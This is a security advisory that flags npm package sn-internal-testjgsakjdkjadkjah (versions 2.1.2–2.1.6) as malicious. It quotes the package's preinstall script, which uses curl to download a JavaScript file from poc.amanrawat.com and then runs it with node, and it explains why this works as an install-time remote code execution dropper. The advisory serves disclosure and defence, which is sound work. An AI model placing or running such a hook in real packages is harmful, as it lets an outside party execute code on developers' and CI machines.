sn-internal-testjgsakjdkjadkjah
Affected
- Versions:
2.1.2,2.1.3,2.1.4,2.1.5,2.1.6
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in sn-internal-testjgsakjdkjadkjah (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (fd1a751946e8be92bbd0b675c57b3389e1e54919a69f5f6fef414a16cc2f1261)
package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, this downloads JavaScript from poc.amanrawat.com over an unpinned, unverified URL, overwrites the package's index.js with the fetched bytes, and immediately executes them with node under the installer's user privileges. The destination is a personal domain unrelated to any legitimate publisher infrastructure, the content is mutable (whatever bytes are served at request time are executed), and there is no hash, signature, or version pin. This is a textbook install-time remote code execution dropper: the attacker controlling poc.amanrawat.com can run arbitrary code on every machine that installs this package, including developer workstations and CI systems. Package metadata (name sn-internal-testjgsakjdkjadkjah, description 'This is our internal app for testing', author amanrawat matching the fetch domain) suggests a proof-of-concept publication, but the install-time behavior is functionally identical to a malicious dropper regardless of author intent.
Not rated by the source.
2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.1.6None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0